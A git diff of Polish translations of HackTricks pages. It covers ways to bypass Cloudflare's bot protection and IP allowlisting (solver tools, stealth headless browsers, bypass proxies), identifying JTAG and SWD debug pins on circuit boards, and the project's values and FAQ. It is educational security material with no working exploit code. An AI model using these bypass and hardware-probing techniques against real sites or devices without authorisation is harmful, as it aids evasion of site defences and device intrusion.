chronić wysyłanych żądań. {% endhint %} Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/). -### Dozwolone adresy IP Cloudflare +### Pozwól na Listę Adresów IP Cloudflare -Spowoduje to **odrzucenie połączeń, które nie pochodzą z zakresu adresów IP Cloudflare**. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skierowuje swoją własną domenę w Cloudflare** na adres IP **ofiary** i atakuje go. +To spowoduje, że **połączenia niepochodzące z adresów IP Cloudflare** zostaną odrzucone. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skieruje swoją własną domenę w Cloudflare** na adres IP **ofiary** i ją zaatakuje. Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/). -## Omijanie Cloudflare dla scrapingu +## Ominięcie Cloudflare dla scrapowania ### Pamięć podręczna -Czasami chcesz po prostu ominąć Cloudflare, aby tylko przeszukiwać stronę internetową. Istnieją pewne opcje: +Czasami chcesz po prostu ominąć Cloudflare, aby tylko scrapować stronę internetową. Istnieją pewne opcje: * Użyj pamięci podręcznej Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog` * Użyj innych usług pamięci podręcznej, takich jak [https://archive.org/web/](https://archive.org/web/) ### Rozwiązania Cloudflare -Opracowano wiele rozwiązań Cloudflare: +Opracowano kilka rozwiązań do omijania Cloudflare: * [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr) * [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [Przewodnik tutaj](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) @@ -108,52 +108,51 @@ Opracowano wiele rozwiązań Cloudflare: * [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Zarchiwizowane] * [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe) -### Wzmocnione przeglądarki bez głowy +### Wzmocnione przeglądarki bezinterfejsowe -Użyj przeglądarki bez głowy, która nie jest wykrywana jako automatyczna przeglądarka (może być konieczne dostosowanie jej do tego). Oto kilka opcji: +Użyj przeglądarki bezinterfejsowej, która nie jest wykrywana jako przeglądarka zautomatyzowana (może być konieczne dostosowanie jej do tego). Niektóre opcje to: * **Puppeteer:** Wtyczka [stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) dla [puppeteer](https://github.com/puppeteer/puppeteer). -* **Playwright:** Wkrótce pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth) dla Playwright. Śledź rozwój [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra). -* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver), zoptymalizowany patch dla Selenium Chromedriver. +* **Playwright:** Wkrótce pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth) dla Playwright. Śledź postępy [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra). +* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) zoptymalizowany łatka do Selenium Chromedriver. -### Inteligentny proxy z wbudowanym mechanizmem bypassu Cloudflare +### Inteligentny Proxy z Wbudowanym Ominięciem Cloudflare -**Inteligentne proxy** są ciągle aktualizowane przez wyspecjalizowane firmy, które mają na celu obejście środków bezpieczeństwa Cloudflare (ponieważ to jest ich działalność). +**Inteligentne proxy** są ciągle aktualizowane przez specjalizowane firmy, które mają na celu obejście środków bezpieczeństwa Cloudflare (ponieważ to ich działalność). Niektóre z nich to: -* [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops) + +* [ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops) * [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops) -* [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32) -* [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) są znane z własnych mechanizmów bypassu Cloudflare. +* [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32) +* [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) są znane z własnych mechanizmów ominięcia Cloudflare. -Dla tych, którzy szukają zoptymalizowanego rozwiązania, wyróżnia się [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/). Ta usługa integruje ponad 20 dostawców proxy w jedno API, automatycznie wybierając najlepsze i najbardziej opłacalne proxy dla Twoich domen docelowych, oferując tym samym doskonałą opcję do omijania obrony Cloudflare. +Dla tych, którzy szukają zoptymalizowanego rozwiązania, wyróżnia się [Aggregator Proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/). Ta usługa integruje ponad 20 dostawców proxy w jedno API, automatycznie wybierając najlepszy i najbardziej opłacalny proxy dla twoich domen docelowych, oferując tym samym doskonałą opcję do omijania obrony Cloudflare. -### Reverse Engineering ochrony przed botami Cloudflare +### Odwrócenie Ochrony Przeciwbota Cloudflare -Reverse engineering środków anty-botowych Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego przeszukiwania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bez głowy. +Odwracanie ochrony przeciwbota Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego scrapowania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bezinterfejsowych. -**Zalety:** Ta metoda pozwala na stworzenie niezwykle wydajnego bypassu, który specjalnie celuje w kontrole Cloudflare, idealny do operacji na dużą skalę. +**Zalety:** Ta metoda pozwala na stworzenie niezwykle wydajnego ominięcia, które specjalnie celuje w kontrole Cloudflare, idealne do operacji na dużą skalę. -**Wady:** Wada polega na złożoności związanej z zrozumieniem i oszukiwaniem celowo niejasnego systemu anty-botowego Cloudflare, wymagającym ciągłego wysiłku w celu testowania różnych strategii i aktualizacji bypassu w miarę udoskonalania ochrony Cloudflare. +**Wady:** Wadą jest złożoność związana z zrozumieniem i oszukiwaniem celowo niejasnego systemu przeciwbota Cloudflare, wymagająca ciągłego wysiłku w celu testowania różnych strategii i aktualizacji ominięcia w miarę udoskonalania swojej ochrony przez Cloudflare. Dowiedz się więcej na temat tego, jak to zrobić w [oryginalnym artykule](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/). - - -## Odwołania +## Referencje * [https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/)
-Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! +Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/todo/hardware-hacking/README.md b/todo/hardware-hacking/README.md index 6ae59a442..1907ad422 100644 --- a/todo/hardware-hacking/README.md +++ b/todo/hardware-hacking/README.md @@ -1,27 +1,26 @@ +# Hacking sprzętowy +
-Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub. +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+## JTAG -# +JTAG pozwala na przeprowadzenie skanowania granicznego. Skanowanie graniczne analizuje określoną układankę, w tym wbudowane komórki skanowania granicznego i rejestry dla każdego pinu. -# JTAG +Standard JTAG definiuje **konkretne polecenia do przeprowadzania skanowania granicznego**, w tym: -JTAG umożliwia przeprowadzenie skanu granicznego. Skan graniczny analizuje określone układy, w tym wbudowane komórki i rejestry skanu granicznego dla każdego pinu. - -Standard JTAG definiuje **konkretne polecenia do przeprowadzania skanów granicznych**, w tym: - -* **BYPASS** pozwala na przetestowanie określonego układu bez konieczności przechodzenia przez inne układy. +* **BYPASS** pozwala przetestować określony układ bez konieczności przechodzenia przez inne układy. * **SAMPLE/PRELOAD** pobiera próbkę danych wchodzących i wychodzących z urządzenia, gdy jest w normalnym trybie działania. * **EXTEST** ustawia i odczytuje stany pinów. @@ -30,49 +29,48 @@ Może również obsługiwać inne polecenia, takie jak: * **IDCODE** do identyfikacji urządzenia * **INTEST** do wewnętrznego testowania urządzenia -Możesz natknąć się na te instrukcje, gdy korzystasz z narzędzia takiego jak JTAGulator. +Możesz natknąć się na te instrukcje, gdy używasz narzędzia takiego jak JTAGulator. -## Port dostępu testowego +### Port dostępu do testów -Skanowanie graniczne obejmuje testy czteroprzewodowego **Portu Dostępu Testowego (TAP)**, uniwersalnego portu zapewniającego **dostęp do funkcji wsparcia testu JTAG** wbudowanych w komponent. TAP wykorzystuje następujące pięć sygnałów: +Skanowanie graniczne obejmuje testy czteroprzewodowego **Portu Dostępu do Testów (TAP)**, portu ogólnego przeznaczenia zapewniającego **dostęp do funkcji wsparcia testów JTAG** wbudowanych w komponent. TAP wykorzystuje następujące pięć sygnałów: -* Wejście zegara testowego (**TCK**) TCK to **zegar**, który definiuje, jak często kontroler TAP będzie podejmował pojedynczą akcję (innymi słowy, przejście do następnego stanu w maszynie stanów). -* Wybór trybu testowego (**TMS**) wejście TMS kontroluje **maszynę stanów skończonych**. Przy każdym taktowaniu zegara kontroler TAP JTAG urządzenia sprawdza napięcie na pinie TMS. Jeśli napięcie jest poniżej określonego progu, sygnał jest uważany za niski i interpretowany jako 0, natomiast jeśli napięcie jest powyżej określonego progu, sygnał jest uważany za wysoki i interpretowany jako 1. -* Wejście danych testowych (**TDI**) TDI to pin, który **wysyła dane do układu za pomocą komórek skanujących**. Każdy producent jest odpowiedzialny za zdefiniowanie protokołu komunikacyjnego przez ten pin, ponieważ JTAG tego nie definiuje. -* Wyjście danych testowych (**TDO**) TDO to pin, który **wysyła dane z układu**. -* Wejście resetowania testowego (**TRST**) Opcjonalne TRST resetuje **maszynę stanów skończonych do znanego stanu**. Alternatywnie, jeśli TMS jest utrzymywane na wartości 1 przez pięć kolejnych cykli zegara, wywołuje reset, tak samo jak pin TRST, dlatego TRST jest opcjonalny. +* Wejście zegara testowego (**TCK**) TCK to **zegar**, który definiuje, jak często kontroler TAP podejmie pojedynczą akcję (innymi słowy, przejdzie do następnego stanu w maszynie stanów). +* Wejście wyboru trybu testowego (**TMS**) TMS kontroluje **maszynę stanów skończonych**. Przy każdym taktowaniu zegara kontroler TAP JTAG urządzenia sprawdza napięcie na pinie TMS. Jeśli napięcie jest poniżej określonego progu, sygnał jest uważany za niski i interpretowany jako 0, natomiast jeśli napięcie jest powyżej określonego progu, sygnał jest uważany za wysoki i interpretowany jako 1. +* Wejście danych testowych (**TDI**) TDI to pin, który wysyła **dane do układu za pośrednictwem komórek skanowania**. Każdy producent jest odpowiedzialny za określenie protokołu komunikacyjnego przez ten pin, ponieważ JTAG tego nie definiuje. +* Wyjście danych testowych (**TDO**) TDO to pin, który wysyła **dane z układu**. +* Wejście resetowania testowego (**TRST**) Opcjonalne TRST resetuje maszynę stanów skończonych **do znanego dobrego stanu**. Alternatywnie, jeśli TMS jest utrzymywane na 1 przez pięć kolejnych cykli zegara, wywołuje reset, tak samo jak pin TRST, dlatego TRST jest opcjonalny. -Czasami będziesz w stanie znaleźć te piny oznaczone na PCB. W innych przypadkach może być konieczne **odnalezienie ich**. +Czasami będziesz w stanie znaleźć te piny oznaczone na PCB. W innych sytuacjach możesz potrzebować ich **znalezienia**. -## Identyfikowanie pinów JTAG +### Identyfikacja pinów JTAG Najszybszym, ale najdroższym sposobem wykrywania portów JTAG jest użycie **JTAGulatora**, urządzenia stworzonego specjalnie w tym celu (choć może **również wykrywać układy UART**). -Posiada **24 kanały**, które można podłączyć do pinów płytek. Następnie wykonuje atak **BF** wszystkich możliwych kombinacji, wysyłając polecenia skanu granicznego **IDCODE** i **BYPASS**. Jeśli otrzyma odpowiedź, wyświetla kanał odpowiadający każdemu sygnałowi JTAG. +Posiada **24 kanały**, które można podłączyć do pinów płytek. Następnie wykonuje **atak BF** wszystkich możliwych kombinacji wysyłając polecenia skanowania granicznego **IDCODE** i **BYPASS**. Jeśli otrzyma odpowiedź, wyświetla kanał odpowiadający każdemu sygnałowi JTAG. Tańszym, ale znacznie wolniejszym sposobem identyfikacji pinów JTAG jest użycie [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) załadowanego na mikrokontrolerze kompatybilnym z Arduino. -Korzystając z **JTAGenum**, najpierw **zdefiniujesz piny sondowania** urządzenia, które będziesz używać do wyliczenia. Musisz odwołać się do diagramu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu. +Korzystając z **JTAGenum**, najpierw musisz **zdefiniować piny urządzenia sondującego**, które będziesz używać do wyliczenia. Musisz odnieść się do schematu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu. -Trzecim sposobem identyfikacji pinów JTAG jest **sprawdzenie PCB** pod kątem jednego z pinów. W niektórych przypadkach PCB mogą wygodnie dostarczać **interfejs Tag-Connect**, który jest wyraźnym wskazaniem, że płyta posiada złącze JTAG. Możesz zobaczyć, jak wygląda ten interfejs na stronie [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Dodatkowo, przeglądanie **kart katalogowych układów scalonych na PCB** może ujawnić diagramy pinów wskazujące na interfejsy JTAG. +**Trzecim sposobem** identyfikacji pinów JTAG jest **inspekcja PCB** w poszukiwaniu jednego z pinów. W niektórych przypadkach PCB mogą wygodnie dostarczyć **interfejs Tag-Connect**, co stanowi jasny sygnał, że płyta ma również złącze JTAG. Możesz zobaczyć, jak wygląda ten interfejs na stronie [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Dodatkowo, inspekcja **arkuszy danych chipsetów na PCB** może ujawnić schematy pinów wskazujące na interfejsy JTAG. -# SDW +## SDW -SWD to protokół specyficzny dla ARM, zaprojektowany do debugowania. - -Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO w JTAG**, oraz zegara **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń obsługuje **Port Debugowania Serial Wire lub JTAG (SWJ-DP)**, łączny interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do docelowego urządzenia. +SWD to protokół specyficzny dla ARM zaprojektowany do debugowania. +Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO w JTAG** oraz zegara, oraz **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń obsługuje **Port Szeregowy lub Port Debugowania JTAG (SWJ-DP)**, łączny interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do celu.
-Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub. +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
diff --git a/welcome/hacktricks-values-and-faq.md b/welcome/hacktricks-values-and-faq.md index d4c6e1868..9ed1f6185 100644 --- a/welcome/hacktricks-values-and-faq.md +++ b/welcome/hacktricks-values-and-faq.md @@ -1,16 +1,16 @@ -# Wartości HackTricks i FAQ +# Wartości i FAQ HackTricks
-Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
@@ -19,15 +19,15 @@ Inne sposoby wsparcia HackTricks: {% hint style="success" %} Oto **wartości projektu HackTricks**: -* Zapewnienie **DARMOWEGO** dostępu do **EDUKACYJNYCH zasobów hakerskich** dla **WSZYSTKICH** w Internecie. -* Hakerstwo polega na uczeniu się, a nauka powinna być jak najbardziej darmowa. +* Zapewnienie **DARMOWEGO** dostępu do zasobów **EDUKACYJNEGO hakowania** dla **WSZYSTKICH** w Internecie. +* Hakowanie polega na nauce, a nauka powinna być jak najbardziej darmowa. * Celem tej książki jest służenie jako wszechstronny **zasób edukacyjny**. -* **PRZECHOWYWANIE** niesamowitych **technik hakerskich**, które społeczność publikuje, przyznając **ORYGINALNYM** **AUTOROM** wszystkie **zasługi**. -* **Nie chcemy zasług od innych osób**, chcemy tylko przechowywać fajne sztuczki dla wszystkich. +* **PRZECHOWUJ** niesamowite **techniki hakowania**, które społeczność publikuje, przyznając **ORYGINALNYM AUTOROM** całą **zasługę**. +* **Nie chcemy zasługi od innych osób**, chcemy tylko przechowywać fajne sztuczki dla wszystkich. * Piszemy również **nasze własne badania** w HackTricks. -* W wielu przypadkach napiszemy tylko **w HackTricks podsumowanie ważnych części** techniki i **zachęcamy czytelnika do odwiedzenia oryginalnego postu** po więcej szczegółów. -* **ORGANIZUJEMY** wszystkie techniki hakerskie w książce, aby były **BARDZIEJ DOSTĘPNE** -* Zespół HackTricks poświęcił tysiące godzin na darmowe **tylko po to, aby zorganizować treść**, aby ludzie mogli **szybciej się uczyć** +* W wielu przypadkach napiszemy tylko **w HackTricks podsumowanie ważnych części** techniki i zachęcimy czytelnika do odwiedzenia oryginalnego postu po więcej szczegółów. +* **ORGANIZUJEMY** wszystkie techniki hakowania w książce, aby były **BARDZIEJ DOSTĘPNE** +* Zespół HackTricks poświęcił tysiące godzin za darmo **tylko po to, aby zorganizować treści**, dzięki czemu ludzie mogą **szybciej się uczyć** {% endhint %}
@@ -35,18 +35,18 @@ Oto **wartości projektu HackTricks**: ## FAQ HackTricks {% hint style="success" %} -* **Dziękuję bardzo za te zasoby, jak mogę ci podziękować?** +* **Dziękuję bardzo za te zasoby, jak mogę wam podziękować?** {% endhint %} -Publicznie możesz podziękować zespołowi HackTricks za publiczne udostępnienie wszystkich tych zasobów w tweecie, w którym wspomnisz [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\ -Jeśli jesteś szczególnie wdzięczny, możesz również [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\ +Możesz publicznie podziękować zespołowi HackTricks za zebranie wszystkich tych zasobów publicznie w tweecie, wspominając [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\ +Jeśli jesteś szczególnie wdzięczny, możesz także [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\ I nie zapomnij **dać gwiazdki w projektach na Githubie!** (Znajdź linki poniżej). {% hint style="success" %} * **Jak mogę przyczynić się do projektu?** {% endhint %} -Możesz **udostępniać nowe wskazówki i sztuczki społeczności lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Githuba: +Możesz **udostępniać nowe wskazówki i sztuczki społeczności lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Github: * [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) * [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -57,14 +57,14 @@ Nie zapomnij **dać gwiazdki w projektach na Githubie!** * **Czy mogę skopiować pewne treści z HackTricks i umieścić je na moim blogu?** {% endhint %} -Tak, możesz, ale **nie zapomnij podać konkretnego linku(lub linków)**, skąd pochodzi treść. +Tak, możesz, ale **nie zapomnij podać konkretnych linków**, skąd pochodziła treść. {% hint style="success" %} * **Jak mogę cytować stronę z HackTricks?** {% endhint %} -Jeśli link **do** strony(y), z której pochodzi informacja, jest widoczny, to wystarczy.\ -Jeśli potrzebujesz bibtex, możesz użyć czegoś takiego: +O ile link **do** strony(y), z której czerpałeś informacje, się pojawi, to wystarczy.\ +Jeśli potrzebujesz bibtex, możesz użyć czegoś w stylu: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -74,88 +74,96 @@ url = {\url{https://book.hacktricks.xyz/specific-page}}, } ``` {% hint style="warning" %} -* **Czy mogę skopiować całe HackTricks na swojego bloga?** +* **Czy mogę skopiować wszystkie HackTricks na swojego bloga?** {% endhint %} -**Raczej nie**. To **nikomu nie przyniesie korzyści**, ponieważ cała **treść jest już publicznie dostępna** w oficjalnych, bezpłatnych książkach HackTricks. +**Raczej nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo. -Jeśli obawiasz się, że treść zniknie, po prostu sklonuj ją na Githubie lub pobierz, jak już wspomniałem, jest już za darmo. +Jeśli obawiasz się, że zawartość zniknie, po prostu sklonuj ją na Githubie lub pobierz, jak już wspomniałem, jest to już darmowe. {% hint style="warning" %} -* **Dlaczego masz sponsorów? Czy książki HackTricks są w celach komercyjnych?** +* **Dlaczego macie sponsorów? Czy książki HackTricks są w celach komercyjnych?** {% endhint %} -Pierwszą **wartością HackTricks** jest oferowanie **DARMOWYCH** edukacyjnych zasobów do hakowania **WSZYSTKIM** na świecie. Zespół HackTricks **poświęcił tysiące godzin** na udostępnienie tej treści, ponownie, **za darmo**. +Pierwszą **wartością HackTricks** jest oferowanie **DARMOWYCH** zasobów edukacyjnych z zakresu hakerstwa dla **WSZYSTKICH** na świecie. Zespół HackTricks poświęcił **tysiące godzin** na udostępnienie tej zawartości, ponownie, za **DARMO**. -Jeśli uważasz, że książki HackTricks są tworzone w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**. +Jeśli sądzisz, że książki HackTricks są tworzone w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**. -Mamy sponsorów, ponieważ, chociaż cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość dotacji dla HackTricks za pośrednictwem [**sponsorów Githuba**](https://github.com/sponsors/carlospolop), a **istotne firmy cyberbezpieczeństwa** sponsorują HackTricks i **umieszczają reklamy** w książce, zawsze w miejscach, gdzie są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści. +Mamy sponsorów, ponieważ chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Githuba**](https://github.com/sponsors/carlospolop), a **istotne firmy cyberbezpieczeństwa** sponsorują HackTricks i **umieszczają reklamy** w książce, zawsze umieszczając reklamy w miejscach, gdzie są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści. -Nie znajdziesz w HackTricks irytujących reklam jak w innych blogach, które mają znacznie mniej treści niż HackTricks, ponieważ HackTricks nie jest tworzone w celach komercyjnych. +Nie znajdziesz w HackTricks irytujących reklam jak w innych blogach z dużo mniejszą zawartością niż w HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych. {% hint style="danger" %} -* **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie jest do niego odwołanie?** +* **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie jest zreferencjonowana?** {% endhint %} -**Przepraszamy bardzo. To nie powinno się zdarzyć**. Prosimy o poinformowanie nas za pośrednictwem problemów Github, Twittera, Discorda... o linku do strony HackTricks z treścią i linku do Twojego bloga, a **sprawdzimy to i dodamy tak szybko, jak to możliwe**. +**Przepraszamy bardzo. To nie powinno mieć miejsca**. Proszę, daj nam znać poprzez problemy na Githubie, Twittera, Discord... link do strony HackTricks z treścią i link do Twojego bloga, a **sprawdzimy to i dodamy referencję tak szybko, jak to 